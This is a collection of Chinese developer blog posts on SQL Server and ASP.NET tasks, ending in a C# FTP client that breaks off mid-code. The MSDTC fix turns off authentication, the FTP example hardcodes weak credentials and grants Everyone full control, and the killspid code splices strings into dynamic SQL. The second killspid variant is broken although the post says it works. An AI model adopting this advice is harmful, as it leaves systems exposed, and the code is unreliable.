
暂无个人介绍
问题来由: 在三丰物贸的项目中,有个关键的处理就是还原备份数据库 由于使用JAVA来实现所以必须 运用SQL语句来解决 在备份还原数据库的时候竟然出现了问题: 在网上找了好久基本上是些没用的东西!! 还好CSDN上问了专家!一下OK! 我的操作如下: 1:SQL 语句备份数据库: BACK DATABASE inOutSell TO DISK = 'D:/mydatabase.bak' WITH FORMAT, NAME = 'FULL BACK OF inOutSell' go 描述:将数据库inOutSell数据库备份为D盘目录下mydatabase.bak文件 2:SQL 语句还原数据库: USE inOutSell RESTORE DATABASE inOutSell FROM DISK = 'D:/mydatabase.bak' WITH REPLACE GO 描述: 将inOutSell数据库还原还原的文件在为D盘目录下的mydatabase.bak文件 3:出现这个问题是,怎么回事? 表示数据库正在使用,未能获得对数据库的排它访问权。怎么解决? 4:查看手册没有找到合适的: 5:上google查没有结果!!太杂了 ======================================= 6: 上CSDN上面问:10分钟解决!爽 方式1: create proc killspid (@dbname varchar(20)) as begin declare @sql nvarchar(500) declare @spid int set @sql='declare getspid cursor for select spid from sysprocesses where dbid=db_id('''+@dbname+''')' exec (@sql) open getspid fetch next from getspid into @spid while @@fetch_status < >-1 begin exec('kill '+@spid) fetch next from getspid into @spid end close getspid deallocate getspid end --用法 use master exec killspid '数据库名' ======================================= 方式2: CREATE PROC KillSpid(@DBName varchar) AS BEGIN DECLARE @SQL varchar DECLARE @SPID int SET @SQL = 'DECLARE CurrentID CURSOR FOR SELECT spid from sysprocess where dbid = db_id('''+@DBName+''')' fetch next from CurrentID INTO @SPID while @@FETCH_STATUS <> -1 BEGIN exec('KILL '+@SPID) FETCH NEXT FROM CurrentID INTO @SPID END CLOSE CurrentID DEALLOCATE CurrentID END ======================================= 方案1 、2都可以用!! 希望整理出来的文章对大家有用!!
当在一个循环体内逐行处理数据时,你必须确保该循环不会无休止的执行下去。在此,我将描述三个死循环的场景。已经有很多论文论及循环和基于集合的解决方式之间可行性的优劣,这些讨论我就不再赘述。这里我们假定你必须使用某种循环。 还要说明一点:我在此举例说明有些情况下可能会出现死循环,而且尽可能的举出最简单的例子。在这些场景中,我并没有说明循环的方法优于基于集合的解决方法,所以请不要对我所举出的简短例子作如此理解。 使用SET和SELECT都可能变量赋值失败 请读者自行分析,下面的例子就证明了这两种情况: DECLARE @i1 INT, @i2 INT, @i3 INT; SELECT @i1=-1, @i2=-1, @i3=-1; PRINT 'the following SELECT will not change the value of @i1' PRINT 'because the result set is empty' SELECT @i1=1 WHERE 1=2; SELECT @i1 AS [@i1]; PRINT 'the following SET will change the value of @i2 to NULL' PRINT 'because the result set is empty' SET @i2=(SELECT 1 WHERE 1=2); SELECT @i2 AS [@i2]; PRINT 'the following SELECT will not change the value of @i3' PRINT 'because it will raise an exception' SET @i3=(SELECT 1 UNION ALL SELECT 2); SELECT @i3 AS [@i3]; 由于返回空的数据集,下面的SELECT语句将不会改变@i1的值。 @i1 ----------- -1 (1 row(s) affected) 由于返回空的数据集,下面的SET语句将不会改变@i2的值。 @i2 ----------- NULL (1 row(s) affected) 由于产生以异常(返回多行记录),下面的SELECT语句将不会改变@i3的值。 Msg 512, Level 16, State 1, Line 13 Subquery returned more than 1 value. This is not permitted when the subquery follows =, !=, <, <= , >, >= or when the subquery is used as an expression. @i3 ----------- -1 (1 row(s) affected) 这是预期的结果,但你必须意识到这一点,否则你的循环可能无休止的执行下去。 Make sure you have read Tony Rogerson's post on the topic. 确保你已经阅读了Tony Rogerson关于此主题的论文。 当SELECT语句改变变量值失败时,可能导致死循环 请看下列表、样例数据和存储过程: CREATE TABLE [data].[Orders]( [OrderID] [int] NOT NULL, [OrderDate] [datetime] NOT NULL, IsProcessed CHAR(1) NOT NULL, CONSTRAINT [PK_Orders] PRIMARY KEY CLUSTERED ( [OrderID] ASC )WITH (IGNORE_DUP_KEY = OFF) ) GO DELETE FROM [data].[Orders]; INSERT [data].[Orders]( [OrderID], [OrderDate], IsProcessed) SELECT 1, '20090420', 'N' UNION ALL SELECT 2, '20090421', 'N' UNION ALL SELECT 3, '20090422', 'N'; CREATE PROCEDURE dbo.ProcessNOrders @IDsIntervalSize INT AS DECLARE @minID INT, @ID INT; SELECT @minID=MIN([OrderID]), @ID=MIN([OrderID]) FROM [data].[Orders]; WHILE @ID<(@minID+@IDsIntervalSize) BEGIN UPDATE [data].[Orders] SET IsProcessed='Y' WHERE [OrderID] = @ID; SELECT TOP 1 @ID=[OrderID] FROM [data].[Orders] WHERE IsProcessed='N' ORDER BY [OrderID]; PRINT @ID; END; -- 本次调用成功 EXEC dbo.ProcessNOrders 2; GO -- 恢复数据 UPDATE [data].[Orders] SET IsProcessed='N'; GO -- 本次调用处理了3条orders数据后陷入死循环 -- 取消执行 EXEC dbo.ProcessNOrders 10; 解决办法很简单,如下所示——只要确保赋值前变量值被改变 ALTER PROCEDURE dbo.ProcessNOrders @IDsIntervalSize INT AS DECLARE @minID INT, @ID INT; SELECT @minID=MIN([OrderID]), @ID=MIN([OrderID]) FROM [data].[Orders]; WHILE @ID<(@minID+@IDsIntervalSize) BEGIN UPDATE [data].[Orders] SET IsProcessed='Y' WHERE [OrderID] = @ID; SET @ID = NULL; SELECT TOP 1 @ID=[OrderID] FROM [data].[Orders] WHERE IsProcessed='N' ORDER BY [OrderID]; PRINT @ID; END; GO UPDATE [data].[Orders] SET IsProcessed='N'; GO -- 本次调用处理了3条orders数据后完成处理 EXEC dbo.ProcessNOrders 10; 你也可以使用SET替换SELECT,那样也可以解决这个问题: ALTER PROCEDURE dbo.ProcessNOrders @IDsIntervalSize INT AS DECLARE @minID INT, @ID INT; SELECT @minID=MIN([OrderID]), @ID=MIN([OrderID]) FROM [data].[Orders]; WHILE @ID<(@minID+@IDsIntervalSize) BEGIN UPDATE [data].[Orders] SET IsProcessed='Y' WHERE [OrderID] = @ID; SET @ID = ( SELECT TOP 1 [OrderID] FROM [data].[Orders] WHERE IsProcessed='N' ORDER BY [OrderID]); PRINT @ID; END; 当赋值产生异常而导致对变量值的改变失败时 创建如下对象: CREATE VIEW dbo.LongestWaitingNotProcessedOrder AS SELECT [OrderID], [OrderDate], IsProcessed FROM [data].[Orders] WHERE [OrderDate] = (SELECT MIN([OrderDate]) FROM [data].[Orders] WHERE IsProcessed='N') AND IsProcessed='N' GO CREATE PROCEDURE dbo.ProcessOrder @OrderID SMALLINT AS SET NOCOUNT ON; UPDATE [data].[Orders] SET IsProcessed='Y' WHERE [OrderID]=@OrderID; RETURN @@ERROR; GO 当未处理的order中没有相同的order date时,下面的循环会正确执行。 UPDATE [data].[Orders] SET IsProcessed='N'; DECLARE @ID INT; SET @ID=-1; WHILE @ID IS NOT NULL BEGIN SET @ID=(SELECT [OrderID] FROM dbo.LongestWaitingNotProcessedOrder); PRINT @ID; EXEC dbo.ProcessOrder @OrderID=@ID; END 当orders中存在两条相同order date的未处理记录时,对变量值的赋值过程(改变变量值)会失败,从而导致死循环。运行这个脚本后回到上面的循环语句,你会发现该循环变成了死循环。 UPDATE [data].[Orders] SET IsProcessed='N'; INSERT [data].[Orders]( [OrderID], [OrderDate], IsProcessed) SELECT 4, '20090421', 'N'; 同样,解决起来很简单。你只需把循环嵌入TRY…CATCH块中,如下所示: DECLARE @ID INT; SET @ID=-1; BEGIN TRY WHILE @ID IS NOT NULL BEGIN SET @ID=(SELECT [OrderID] FROM dbo.LongestWaitingNotProcessedOrder); PRINT @ID; EXEC dbo.ProcessOrder @OrderID=@ID; END END TRY BEGIN CATCH SELECT ERROR_NUMBER(), ERROR_MESSAGE(); END CATCH 现在循环会在第一次出现异常后结束执行。然而,如果存储过程处理一笔order失败,你仍可能陷入死循环。 重新考虑基于集合的解决方法 你可以看出,在Transact SQL中开发健壮的循环是相当复杂的,其中确有一些技巧。你也许可以重新考虑使用基于集合的解决方式来替换循环方法。 使用表变量 下面的方法也相当健壮: DECLARE @orderIDs TABLE(n INT, ID INT); INSERT INTO @orderIDs(n, ID) SELECT ROW_NUMBER() OVER(ORDER BY [OrderDate]), [OrderID] FROM [data].[Orders] WHERE IsProcessed='N'; DECLARE @ID INT, @n INT, @MaxN INT; SELECT @n=1, @MaxN = MAX(n) FROM @orderIDs; WHILE @n <= @MaxN BEGIN SELECT @ID = ID FROM @orderIDs WHERE n=@n; PRINT @ID; EXEC dbo.ProcessOrder @OrderID=@ID; SET @n=@n+1; END 即使存储过程处理一笔order时可能会失败,循环仍然能够完成,因为每笔order将只被处理一次。
导这两种类型的文件,都有一定的要求。 对于.txt文件,需要数据非常整齐,有间隔符,且每行分隔后的数据项数目、类型一致。例如: c1@c2@c3@c4 101@2007-1-1@lislie@中国 102@2008-1-1@merry@中国 第一行为表头,如此我们在导入数据时,可以选择导入.txt文件中的部分字段: INSERT INTO tableName SELECT * FROM OPENROWSET('MSDASQL','Driver={Microsoft Text Driver (*.txt; *.csv)};DEFAULTDIR=d:/DataWarehouse;Extensions=CSV;', 'SELECT c1,c2,c3 FROM [textname.txt]') where c1 is not null tableName为数据库目标表格,textname.txt为文件名,DEFAULTDIR指定.txt文件所在路径。where条件,可过滤.txt文件中数据。 .xls文件的数据相对整齐,但在写脚本导数据时,还是有一些注意的地方: DELETE FROM @tptablenameINSERT INTO @tptablename SELECT * FROM OPENDATASOURCE('Microsoft.Jet.OLEDB.4.0','Data Source=' + @Filepath + @FileName + '.xls;Extended Properties=Excel 8.0')...[@SheetName$] @tptablename为目标表表名,@Filepath为.xls文件路径,@FileName为文件名前缀,拼接后,是包含文件系统完整路径的excell文件,@SheetName为Excell工作表名。要求表的字段跟excell的一直,且类型符合。
Joyrock简介: Joyrock是一个基于LGPL协议的开源项目,实现了JSON和JSON-RPC,支持微软ASP.NET框架。它方便我们读取从浏览器流向服务器的JSON对象,也方便在响应流中写入JSON对象。 Jayrock 远程方法要求写在一个ashx中,页面请求这个ashx的时候,在ProcessRequest 中根据Request对象中的参数信息,确定请求的服务器端方法名称和参数,然后进行调用,并返回结果。 博客url:http://www.cnblogs.com/shanyou/archive/2007/07/01/802213.html 官方简介url:http://jayrock.berlios.de/ 前面几篇博客中有几篇关于EXT的例子,其中有提到过,关于JSON对象在前后台的传递,以及项目业务逻辑类在JS中注册的方式。这些将以这篇文章作为契子,引出一系列相关的博客,它们是我最近学习的东西。 当我有将产品的前台全部使用EXT的想法时,如何最大程度地利用到现有框架,便成了最迫切需要解决的问题: 1. 现在框架集成了异常处理、日志、事务、工具类等模块,相对稳定。 2. 如果使用AJAX,还需要重新写一套数据访问层,那是没人愿意做的事情。 3. 客户端与服务端之间对象序列化与传递是个问题。 第1、2个问题,就涉及到服务端业务逻辑类的远程调用,如JSON-RPC;而第3个问题,使用JSON封装吧。关于XML格式与JSON的比较,网上有很多文章,在此不獒叙。 Joyrock示例:配置一个的例子非常简单,首先你需要下载到它的包,官方网站:http://developer.berlios.de/project/showfiles.php?group_id=4638,这是一个台湾的站点,速度可能有点慢。我把其中必须的Jayrock.dll、Jayrock.Json.dll与json.js放到csdn资源站点上,url为http://download.csdn.net/source/405504。 在项目中,将Jayrock.dll与Jayrock.Json.dll引用进来,在页面中,将json.js文件包含进来(<script type="text/javascript" src="filepath/json.js"></script>)。 Jayrock的远程方法,需要写在一个“一般资源文件”(.ashx)内: <%@ WebHandler Language="C#" Class="Handler" %>using System;using System.Web;using Jayrock.Json;using Jayrock.JsonRpc;using Jayrock.JsonRpc.Web;public class Handler : JsonRpcHandler{ [JsonRpcMethod("greetings")] public string Greetings() { return "Welcome to Jayrock!"; }} 你可以在这层访问你的业务逻辑。如此,页面上引入json.js与.ashx文件: <script type="text/javascript" src="../Common/Js/json.js"></script><script type="text/javascript" src="Handler.ashx?proxy"></script> 便可以在js中直接new Handler对象,并访问greetings方法了。 var s = new Handler(); alert("sync:" + s.greetings()); s.greetings(function(response) { alert("async:" + response.result) }); 补充一:我朋友的公司开发一个开源产品,关键技术基于一个开源项目,在产品发布前才了解到,这个开源项目基于GPL协议,那么他们的产品也必须开源,必须继承GPL协议,如此,没有任何商机可言。 如果你在开发项目或者产品时,对开源协议需要一定的了解。 LGPL开源协议——LGPL 是GPL的一个为主要为类库使用设计的开源协议。和GPL要求任何使用/修改/衍生之GPL类库的的软件必须采用GPL协议不同。LGPL允许商业软件通过类库引用(link)方式使用LGPL类库而不需要开源商业软件的代码。这使得采用LGPL协议的开源代码可以被商业软件作为类库引用并发布和销售。 GPL/LGPL都保障原作者的知识产权,避免有人利用开源代码复制并开发类似的产品。 常见的开源协议:BSD、GPL、LGPL、MIT(前面4种通过ISO批准)、Apach Licene 2.0 来源:Javaeye上一篇关于开源协议的帖子《开源协议详解》,地址没有了,去javaeye搜索吧。 补充二:常用的.net下ajax框架(动态连接库Ajax.dll),同样实现了远程调用,但B、S端之间的数据传递没有使用Json格式,而传递DataTable(在js端序列化成为了数组对象)。关于它的配置,将在后续博客中,放出来。 与Jayrock的比较:个人觉得Jayrock需要一段时间熟悉它的API,而且相对来说网上的资料较少。Ajax.dll在序列化List(包含数据模型Model)时,处理比较麻烦,至少我现在还没能实现。
项目测试中,客户向我们反应,某个页面请求速度特别慢,简直无法忍受。这里简单插一些情况的描述:对于一个使用人数、并发操作并不多的项目,客户不会过多的在性能上提出要求,对他们来说,多几百ms的等待时间,不会带来更多情绪。 但是,当你请求某个页面后,去泡杯茶回来,发现页面还死死的在那里,进度条不紧不慢的一点一点增长,就无法忍受了。利用Firefox的debug测了一下,平均请求时间19s左右,而光import那个页面所需要的时间就是18s多,问题肯定出在页面上。 那个页面是被IFreame包含进来的,包含5个TextBox、4个DropdownList、3个CheckBox、3个Button(作为分页的查询条件),下面就是分页的DataGrid(每页10条数据)。我注意到其中有一个DropdownList的ListItem有200多项,查了一下Response,发现viewstate黑压压一块。显然,这也是影响性能的一个原因。 在跟客户商量后,将这个DropdownList改成了TextBox,做成模糊查询。恩,速度到了15s左右,快了3到4秒。这样的改善已经是很不错的成绩了,但是我们还要等待15s,显然无法让客户满意。 这下问题就不明显了,我禁用了viewstate,发现并没有多少效果。页面数据量也不是很大啊,几个DropdownList的初始化,分页的实现是利用存储过程,在服务器数据库中,利用游标取记录条数。传递过来,也仅仅是10条而已。 查看页面源代码发现N长的JS,是不是问题出在加载日期控件上呢?我将日期控件屏蔽了,再测,问题依旧,还是15s!! 感觉有点束手了,测试其他页面,没有问题,响应速度很理想,甚至是一些控件N多的页面。 不经意间点分页的“下一页”,恩,时间很漫长!可是我下一页的操作,只读取了下一个10条数据啊!我在服务器查询分析器下测试了存储过程,反应没问题。那问题应该是出在DataGrid的绑定了,这时候,我注意到,datagird中包含不少模板列,其中有不少LinkButton,涉及到显示不显示的逻辑操作,例如: <asp:TemplateColumn> <HeaderStyle Width="50px"></HeaderStyle> <ItemTemplate> <asp:LinkButton id="lbtnEdit1" runat="server" CausesValidation="false" CommandName="Disabled" Visible='<%# DataBinder. Eval(Container.DataItem, "IsDisable").ToString()=="1" %>'> <span onclick="return confirm('确认作废?')">作废</span></asp:LinkButton> <asp:LinkButton ID="lbtnEdit2" runat="server" CausesValidation="false" CommandName="Able" Visible='<%# DataBinder.Eval(Container.DataItem,"IsDisable").ToString()=="2" %>'><span onclick="return confirm('确认恢复?')">恢复</span></asp:LinkButton> <asp:LinkButton ID="lbtnEdit3" runat="server" CausesValidation="false" CommandName="Disabling" Visible='<%# DataBinder.Eval(Container.DataItem,"IsDisable").ToString()=="0" %>'><span onclick="return confirm('确认待报废?')">待报废</span></asp:LinkButton> </ItemTemplate></asp:TemplateColumn> 顿时,有了个想法,会不会是触发ItemDataBind事件,遍历表格控件时,消耗系统资源呢? 将这部分功能屏蔽,果然!效果理想,响应时间到了3s左右,速度差强人意。我暗舒口气...... 总结: viewstate利弊共存,怎么使用,值得权衡。有时候,没有办法,不妨跟客户沟通一下,变换一些实现方法。 永远不要在ItemDataBind时,做太多事情。不妨,将数据处理放在数据库(视图、存储过程)、或者是在绑定之前,写方法处理。 性能永远是一个隐形的需求,而我在这方面经验匮乏。尤其是,目前的项目规模小,那些在code时,留下的挥霍内存的变量声明、占用CPU的循环、遍历算法的行为随处可见。现在,我们能做的,就是在意识到这些后,一点点的改变这些习惯把。
存储过程中,循环遍历临时表是一个很常见的操作,以下是个简单的例子: declare @fl_field nvarchar(20) -- 定义游标declare Temp_Table cursor for select KdgId from kdg_type -- 查询结果 -- 打开游标 取第一行记录 赋给@fl_field open Temp_Table fetch next from Temp_Table into @fl_field -- 循环开始 while @@fetch_status = 0 begin -- 逻辑操作... -- 取下一条记录 fetch next from Temp_Table into @fl_field end -- 循环结束 -- 关闭游标 删除游标引用 close Temp_Table deallocate Temp_Table 用户自定义函数的递归实现,在树查询中较为常见: /****** 查询@idValue下的所有子节点的id,用“,”隔开,拼接成字符串 ******//****** 返回结果的id排列符合树结构,即子节点在父节点后 ******/CREATE function dbo.Fun_GetChildren_KdgTypeData(@idValue varchar(20))returns varchar(1000)asbegin declare @itemId varchar(20) declare @temp varchar(1000) set @temp = @idValue set @itemId = @idValue declare Temp_Table cursor for select KdgTypeId from kdg_typedata where IsDelete=0 and KdgParentId=@itemId -- 查询@itemId的子节点 open Temp_Table fetch next from Temp_Table into @itemId -- 若@itemId不存在子节点 if @itemId is null or @itemId = '' set @temp = @temp + @itemId -- 字符串拼接id + , + id else begin while @@fetch_status = 0 begin set @temp = @temp + ',' + dbo.Fun_GetChildren_KdgTypeData(@itemId) -- 递归 fetch next from Temp_Table into @itemId end close Temp_Table deallocate Temp_Table end return @tempend [转载]数据库split函数的实现: -- @SourceSql 需要分割的字符串-- @StrSeprate 分隔符create function f_split(@SourceSql varchar(8000),@StrSeprate varchar(10))returns @temp table(a varchar(100))--实现split功能 的函数as begin declare @i int set @SourceSql=rtrim(ltrim(@SourceSql)) set @i=charindex(@StrSeprate,@SourceSql) while @i>=1 begin insert @temp values(left(@SourceSql,@i-1)) set @SourceSql=substring(@SourceSql,@i+1,len(@SourceSql)-@i) set @i=charindex(@StrSeprate,@SourceSql) end if @SourceSql<>'' insert @temp values(@SourceSql) return end 用法:select * from dbo.f_split('aaa,bbb,ccc,ddd,eee',',') 结果:
环境: Windows XP SP2、 Sql Server 2000 问题描述:在搭建Web Service时,访问了远程数据库的Link Server(即应用服务器访问了两台数据库服务器),执行SQL语句,如下: begin transaction select CNCJ.dbo.Custmoer.TotalVol FROM CNCJ.dbo.Customer c1 left join OrderHeaderID o1 on c1.OrderID = o1.OrderID WHERE or.CustomerProfileID = '188168' and o1.AggType = 'PPV' and o1.OrderMonth = '200805' commit tran go CNCJ为数据库服务器上的Link Server。 出错: The operation could not be performed because the OLE DB provider 'SQLOLEDB' was unable to begin a distributed transaction. [OLE/DB provider returned message: New transaction cannot enlist in the specified transaction coordinator. ] OLE DB error trace [OLE/DB Provider 'SQLOLEDB' ITransactionJoin::JoinTransaction returned 0x8004d00a]. 解决办法: 1. 在数据库服务器上打开Sql Server的企业管理器,展开,右键“Local(Windows NT)”属性,确定“自动启动MSTDC”勾上。 2. 管理工具->组件服务->计算机->我的电脑,右键属性,MSTDC选项卡,点击按钮“Security Configuration..”,勾上Newwork DTC Access, Allow Remote Clients、Allow Remote Administration、Allow Inbound、Allow Outbound、No Authentication Required、Enable Transaction Internet Protocol(TIP) Transactions、Enable XA Transactions,Account:为NT AUTHORITY/Newwork Service 3. 管理工具->服务->找到Distributed Transaction Coordinator,双击,选择“Log on”选项卡,确保This account为NT AUTHORITY/Network Server。
【问题描述】 Excell文件导入SQL Server时,某列数据中即包含纯数字组合的串,也包含带有个别字母的串。导入数据库时,该列的所有非纯数字串为null。例如: Excell文件: Sid Name Code 1 Jerry 1001 2 Merry CN01 3 Mark 1002 导入数据库表后: 1 Jerry 1001 2 Merry null 3 Mark 1002 【问题原因】 微软官方的说法: SQL在导入Excel混合数据列的时候,由于数据类型不唯一,导致SQL无法确定数据类型 。SQL的应对之道就是统计该数据列的前8行数据中出现最多的类型,并以此类型做为默认类型。 如此,该列被自动是被为float类型。即使在导入数据时,Mapping时,将该列的数据类型更改为varchar同样存在问题。 我尝试使用脚本导入Excell,并在导入时,将Code列做类型转换,问题仍然存在。 【解决办法】 找到一片CSDN博客: http://www.cnblogs.com/frostcity/archive/2008/03/07/1095484.html,上面提供了一种解决办法:将Excell另存为“制表分隔符文本文件”,利用SQL Server自带的“导入数据”功能,数据源选择“文本文件”。后面是正常的导入方式,问题解决。
DataGrid的模板列中使用CheckBox是很常见的现象,而每个CheckBox怎么触发事件,又如何得到发生事件的当前行数据,是本文描述的中心。它并没有什么技术含量,但不了解的话,会让你在这里浪费一些时间。举个简单的例子:你需要在点击DataGrid上的CheckBox后,在将当前行数据复制到另一个表格中。 ok,言归正传。 假设当前有这样一个DataGird: <asp:datagrid id="preCustList" Runat="server" width="100%" AutoGenerateColumns="False"> <Columns> <asp:BoundColumn DataField="CustomerID" HeaderText="Customer ID"></asp:BoundColumn> <asp:BoundColumn DataField="NameCn" HeaderText="Customer Name"></asp:BoundColumn> <asp:BoundColumn DataField="CustCateGoryType" HeaderText="Customer Category"></asp:BoundColumn> <asp:BoundColumn DataField="PcAppDate" HeaderText="Create On" DataFormatString="{0:yyyy-MM-dd}"></asp:BoundColumn> <asp:TemplateColumn HeaderText="Is Tran"> <ItemTemplate> <asp:CheckBox ID="aspTran" Runat="server" AutoPostBack="True" OnCheckedChanged="TranChecked"></asp:CheckBox> </ItemTemplate> </asp:TemplateColumn> </Columns> </asp:datagrid> 这里的做法是:在页面定义OnCheckedChange事件,让.net的托管机制自动注册事件与回调方法的关系。有不少帖子是在DataGrid的 ItemDataBind事件中,通过FindControl()找到CheckBox后,动态注册。我做过测试,没有效果。 接下来,你需要在后台页面定义一个protected或public的TranChecked方法,注意这里设定为private权限,是无法访问的: protected void TranChecked(object sender, System.EventArgs e) { // sender为事件源,我们可以通过下面的方式获得DataGrid当前行 CheckBox cb = (CheckBox)sender; DataGridItem item = cb.Parent.Parent; // 第一个Parent得到的是item的cell;第二个Parent得到Item // 下面就可以操作item的其他cells了 ....... } ---------------------------------------------------------------------------------- 实际上,使用CheckBox的客户端事件,更为简单: <asp:datagrid id="preCustList" Runat="server" width="100%" AutoGenerateColumns="False"> <Columns> <asp:BoundColumn DataField="CustomerID" HeaderText="Customer ID"></asp:BoundColumn> <asp:BoundColumn DataField="NameCn" HeaderText="Customer Name"></asp:BoundColumn> <asp:BoundColumn DataField="CustCateGoryType" HeaderText="Customer Category"></asp:BoundColumn> <asp:BoundColumn DataField="PcAppDate" HeaderText="Create On" DataFormatString="{0:yyyy-MM-dd}"></asp:BoundColumn> <asp:TemplateColumn HeaderText="Is Tran"> <ItemTemplate> <input type="checkbox" name="Tran" id="Tran" onclick="Checked('<%# DataBinder.Eval(Container.DataItem,"CustomerID")%>', '<%# DataBinder.Eval(Container.DataItem,"NameCn")%>', '<%# DataBinder.Eval(Container.DataItem,"CustCateGoryType")%>', '<%# DataBinder.Eval(Container.DataItem,"PcAppDate")%>')" /> </ItemTemplate> </asp:TemplateColumn> </Columns> </asp:datagrid> <table id="listtable"> <tr> <td>Customer ID</td> <td>Customer Name</td> <td>Customer CateGory</td> <td>Create On</td> <td>Is Tran</td> </tr> <tr> td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> </tr> </table> 客户端方法Checked的定义如下: function Checked(customerID, customerName, customerCategory, createOn) { // 第一行赋值 var temp = document.getElementById("listtable"); var strRow = temp.rows[temp.rows.length - 1]; strRow.cells[0].innerText = customerID; strRow.cells[1].innerText = customerName; strRow.cells[2].innerText = customerCategory; strRow.cells[3].innerText = createOn; strRow.cells[4].innerHTML = '<a onclick="javascript:deleteCurrentRow();" href="#">删除</a>'; // 再新添一空行 document.all('listtable').outerHTML = document.all('listtable').outerHTML.replace(/<//table>/i, '<tr><td> </td><td> </td><td> </td><td> </td><td> </td></tr>' + "</table>") } deleteCurrentRow()的方法就不贴上来的。 ---------------------------------------------------------------------------------- 【总结】 客户端实现的响应速度显然快于在服务端实现的方法,而且不用页面跳转,没有烦人的刷新现象。但是客户端事件有一个致命的问题:由于下面Table的数据插入是在客户端进行的,只要页面刷新,数据就会丢失,录入:当你上面的DataGrid实现了翻页功能后,每翻一页,以前选定的数据就会丢失。 当然,你可能会说用隐藏域(<input type="hidden"/>)可以解决问题,但毕竟删除隐藏域的记录不方便。
本文仅用来作为个人的在忘记实现时,方便翻找的记录本。也为一些使用google和baidu的朋友提供一个链接。没有任何技术含量。 查询一个数据库的表: select * from test..sysobjects where xtype='u' -- test为数据库名,后两个点必须,否则语法报错 在结果中你可以看到若干字段,其中包括表名、表ID、表类型等一系列信息。 查询一个表中的字段和字段类型: select * from syscolumns where id=object_id('tablename') -- tablename为表名,xtype为56等数字,它们在systypes表中有定义. 你可以在sql server企业管理器下,右键(Local)(Windows NT),点击“编辑SQL Server注册属性(E)...”后,将“显示系统数据库与系统对象(Y)”勾上。这样你可以预览数据库建库的一些属性了。 通过条件过滤,可以实现许多特别的需求。
首先,你需要一个测试环境,我在自己的机器上搭建了一个FTP Server,搭建Server有一些比较优秀的软件,例如:Crob FTP Server,不过这是一个收费软件,虽然提供试用版,但要在公网上使用的话,还是买个注册号吧! 下载地址: Crob FTP Server V3.7.0 Build 196 简体中文版 http://www.skycn.com/soft/11246.html 中文软件,大家都是学技术的,怎么搭建我就不说了。 相当傻瓜式的,上传代码只有寥寥几行: FTPClient fc = new FTPClient(); fc.RemoteHost = "10.6.133.145"; // 这里只能用IP,而不能用机器名。当然,你可以利用工具类通过机器名获取到IP地址 fc.RemotePath = "/u01/upload"; // FTP服务器的虚拟目录 fc.RemotePort = 21; fc.RemoteUser = "admin"; fc.RemotePass = "123"; fc.Connect(); fc.Put("c:/1.txt"); fc.DisConnect(); 这里要注意的是,虚拟目录/u01/upload对应的路径需要有写文件操作的权限,你可以在属性中配置账号的写权限(我直接共享了该文件夹,并允许everyone账号完全控制)。 这里提供FTPClient.cs的源码,来源一时半会儿找不到了: using System; using System.Net; using System.Net.Sockets; using System.Text; using System.IO; namespace TimerServer { /// <summary> /// FTPClient 的摘要说明。 /// </summary> public class FTPClient { #region 构造函数 /**//// <summary> /// 缺省构造函数 /// </summary> public FTPClient() { strRemoteHost = ""; strRemotePath = ""; strRemoteUser = ""; strRemotePass = ""; strRemotePort = 21; bConnected = false; } /**//// <summary> /// 构造函数 /// </summary> /// <param name="remoteHost"></param> /// <param name="remotePath"></param> /// <param name="remoteUser"></param> /// <param name="remotePass"></param> /// <param name="remotePort"></param> public FTPClient( string remoteHost, string remotePath, string remoteUser, string remotePass, int remotePort ) { strRemoteHost = remoteHost; strRemotePath = remotePath; strRemoteUser = remoteUser; strRemotePass = remotePass; strRemotePort = remotePort; Connect(); } #endregion #region 登陆 /**//// <summary> /// FTP服务器IP地址 /// </summary> private string strRemoteHost; public string RemoteHost { get { return strRemoteHost; } set { strRemoteHost = value; } } /**//// <summary> /// FTP服务器端口 /// </summary> private int strRemotePort; public int RemotePort { get { return strRemotePort; } set { strRemotePort = value; } } /**//// <summary> /// 当前服务器目录 /// </summary> private string strRemotePath; public string RemotePath { get { return strRemotePath; } set { strRemotePath = value; } } /**//// <summary> /// 登录用户账号 /// </summary> private string strRemoteUser; public string RemoteUser { set { strRemoteUser = value; } } /**//// <summary> /// 用户登录密码 /// </summary> private string strRemotePass; public string RemotePass { set { strRemotePass = value; } } /**//// <summary> /// 是否登录 /// </summary> private Boolean bConnected; public bool Connected { get { return bConnected; } } #endregion #region 链接 /**//// <summary> /// 建立连接 /// </summary> public void Connect() { socketControl = new Socket(AddressFamily.InterNetwork,SocketType.Stream,ProtocolType.Tcp); IPEndPoint ep = new IPEndPoint(IPAddress.Parse(RemoteHost), strRemotePort); // 链接 try { socketControl.Connect(ep); } catch(Exception) { throw new IOException("Couldn't connect to remote server"); } // 获取应答码 ReadReply(); if(iReplyCode != 220) { DisConnect(); throw new IOException(strReply.Substring(4)); } // 登陆 SendCommand("USER "+strRemoteUser); if( !(iReplyCode == 331 || iReplyCode == 230) ) { CloseSocketConnect();//关闭连接 throw new IOException(strReply.Substring(4)); } if( iReplyCode != 230 ) { SendCommand("PASS "+strRemotePass); if( !(iReplyCode == 230 || iReplyCode == 202) ) { CloseSocketConnect();//关闭连接 throw new IOException(strReply.Substring(4)); } } bConnected = true; // 切换到目录 ChDir(strRemotePath); } /**//// <summary> /// 关闭连接 /// </summary> public void DisConnect() { if( socketControl != null ) { SendCommand("QUIT"); } CloseSocketConnect(); } #endregion #region 传输模式 /**//// <summary> /// 传输模式:二进制类型、ASCII类型 /// </summary> public enum TransferType {Binary,ASCII}; /**//// <summary> /// 设置传输模式 /// </summary> /// <param name="ttType">传输模式</param> public void SetTransferType(TransferType ttType) { if(ttType == TransferType.Binary) { SendCommand("TYPE I");//binary类型传输 } else { SendCommand("TYPE A");//ASCII类型传输 } if (iReplyCode != 200) { throw new IOException(strReply.Substring(4)); } else { trType = ttType; } } /**//// <summary> /// 获得传输模式 /// </summary> /// <returns>传输模式</returns> public TransferType GetTransferType() { return trType; } #endregion #region 文件操作 /**//// <summary> /// 获得文件列表 /// </summary> /// <param name="strMask">文件名的匹配字符串</param> /// <returns></returns> public string[] Dir(string strMask) { // 建立链接 if(!bConnected) { Connect(); } //建立进行数据连接的socket Socket socketData = CreateDataSocket(); //传送命令 SendCommand("NLST " + strMask); //分析应答代码 if(!(iReplyCode == 150 || iReplyCode == 125 || iReplyCode == 226)) { throw new IOException(strReply.Substring(4)); } //获得结果 strMsg = ""; while(true) { int iBytes = socketData.Receive(buffer, buffer.Length, 0); strMsg += ASCII.GetString(buffer, 0, iBytes); if(iBytes < buffer.Length) { break; } } char[] seperator = {'/n'}; string[] strsFileList = strMsg.Split(seperator); 